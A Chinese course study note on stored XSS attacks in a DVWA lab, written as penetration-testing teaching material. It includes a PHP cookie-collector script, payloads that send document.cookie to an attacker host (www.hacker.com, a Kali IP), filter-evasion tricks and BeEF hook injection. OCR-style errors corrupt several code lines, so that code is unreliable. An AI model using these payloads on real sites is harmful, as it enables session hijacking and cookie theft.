XSS 跨站脚本攻击_3 | 学习笔记

简介: 快速学习 XSS 跨站脚本攻击_3

开发者学堂课程【网络安全攻防 - Web渗透测试XSS 跨站脚本攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9913


XSS 跨站脚本攻击_2


内容介绍

一、  存储型 XSS

二、  构造 XSS 脚本

三、  自动化 XSS


一、  存储型 XSS

存储型 XSS(持久型 XSS)即攻击者将带有 XSS 攻击的链接放在网页的某个页面,例如评论框等;用户访问此 XSS 链接并执行,由于存储型 XS5 能够攻击所有访问此页面的用户,所以危害非常

image.png

1.  手工【低】

1)  攻击1 弹框告警:渗透机 kali Linux 端操作

text1

alert(‘yangge')

2)  攻击2 获取 cookie:渗透机 Kali Linux 端操作

a)  构建收集 cookie 服务器

b)  构造 XSS 代码并植入到 Web 服务器

c)  等待肉鸡触发 XSS 代码并将 cookie 发送到 Kali

d)  Cookie 利用

image.png

3) root@kali:~#[vim /var/www/html/cookie_rec.php

$cookie = $_GET['cookie'];

$log一fopen(cookie.txt","a")

fwrite($log, $cookle "\n");

fclose($log);

?>

root@kali:# chown -R www-data.www-data /var/www/

2. 通过渗透机植入 XSS 代码:  

(script>window.open('http://192.168.106

14d/cookierec.php?cookle-"+document.cookle)

注:192.168.106.140 为 kali Linux IP

注:先清除之前植入的 XS5代码

image.png


二、构造 XSS 脚本

1. 弹框警告

此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号‘,一旦此新本能执行,也就拿味着后端服务器没有对特殊字符做过滤<>/”这样就可以证明,这个页面位置存在了XSS漏洞。

alert('xss')

alert(document.cookie)

2.   页面嵌套

<iframe src=http://ww.baidu.com width=300 height=300></iframe>

<iframe src=http://ww.baidu.com width=0 height=0 border=0></iframe>

3. 页面重定向

window.location="http://www.qfedu.com"

location.href="http://www.baidu.com"

4. 弹框警告并重定向  

alert("请移步到我们的新站”);location.hre

/www.qfedu.com"

alert('xss');location.href="http://1e 35/mutillidae/robots.txt"

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户 (克隆网站收集账户)

5. 访问恶意代码

s/script> #结合 BeEF 收集用户的 cookie

6. 巧用图片标签

< img src="#”onerror=alert('xss')>

< img src="http://BeEF_IP:3000/hook.js">

7. 绕开过滤的脚本

大小写<ScrIpt>alert('xss')</SCRipt>

字符编码 采用 URL、Base64等编码

<ahref=”&#166;&#97;&#118;&#97;8#115;&#99&#114;8#105&#112;&#116&#58;&#97;8#108&#1018#114;8#116;8#40;&#34;&#120;&#115;&#115;&#34;&#41;">yangge</a>

8. 收集用户 cookie

打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script><script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>

<script>new Image().src="http://www.hacker.com/cookie.php?cookie-"+document.cookie;</script>

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src="http://www.hacker.com/cookie.php?cookie-'+document.cookie"></iframe>

<script>new Image().src="http://www.hacker.com/cookie.php?cookie=adocument ing.width = 0;

img.height =0;

</script>


三、自动化 XSS

1. Browser Exploitation Framework (BeEF)

BeEF 是目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透;

BeEF 是基于 Ruby 语言编写的,并且支持图形化界面,操作简单;

http://beefproject.com/

1) 信息收集:

1.网络发现

2.主机信息

3. Cookie 获取

4.会话劫持

5.键盘记录

6.插件信息

2) 持久化控制:

1. 确认弹框

2. 小窗口

3.中间人

3) 社会工程

1. 点击劫持

2. 弹窗告警

3. 虚假页面

4. 钓鱼页面

4) 渗透攻击:

1.内网渗透

2. Metasploit

3.CSRF 攻击

4. DDOS 攻击

2. BeEF 基础

1) 启动 Apache 和 BeEF:

root@kali:~# service apache2 start

<script src="http://192.168.106.140:3000/hook.js"x/script>

注:192.168.106.140为BeEF所在机器,即Kali Linux IP

2) 登录 BeEF:

username:beef

password:beef

image.png

渗透机将脚本放在 DWVA 靶机中:

<script src="http://192.168.106.140:3000/hook.js">x/scr

注:192.168.106.140BeEF 所在机器,即 Kali Linux,IP

注:需修改字符数的限制,例如为200

1.   信息收集

命令颜色(Color)

绿色对目标主机生效并且不可见(不会被发现)

橙色对目标主机生效但可能可见(可能被发现)

灰色对目标主机未必生效(可验证下)

红色对目标主机不生效

Get Cookie  获取信息

Get From Cookie  获取值

Get Page HREFs  获取页面链接

Get Page HTML  获取页面 HTML

Replace HREFs  替换页面连接

Replace HREFsClick Events

该模块将使用 Bilawal Hameed 更新点击事件处理来重写所有匹配链接的所有 href 属性,这将隐藏所有更新链接的目标站点。

Replace HREFsHTTPS

此模块将重写 HTTPS 链接的所有 href 属性以使用 HTTPS,不会重写相对于 web 根目录的链接。

Replace HREFsTEL

该模块重写 HTTPS 链接的所有电话链接的 href 属性。

相关文章
|
2月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
24 0
|
19天前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
|
12天前
|
存储 安全 JavaScript
【PHP开发专栏】PHP跨站脚本攻击(XSS)防范
【4月更文挑战第30天】本文探讨了Web开发中的XSS攻击,解释了其原理和分类,包括存储型、反射型和DOM型XSS。XSS攻击可能导致数据泄露、会话劫持、网站破坏、钓鱼攻击和DDoS攻击。防范措施包括输入验证、输出编码、使用HTTP头部、定期更新及使用安全框架。PHP开发者应重视XSS防护,确保应用安全。
|
27天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
2月前
|
安全 JavaScript 前端开发
Low 级别反射型 XSS 演示(附链接)
Low 级别反射型 XSS 演示(附链接)
|
4月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
4月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
7月前
|
存储 安全 JavaScript
渗透攻击实例-xss跨站脚本攻击
渗透攻击实例-xss跨站脚本攻击
|
2月前
|
存储 JavaScript 前端开发
DOM 型 XSS 演示(附链接)
DOM 型 XSS 演示(附链接)
|
2月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)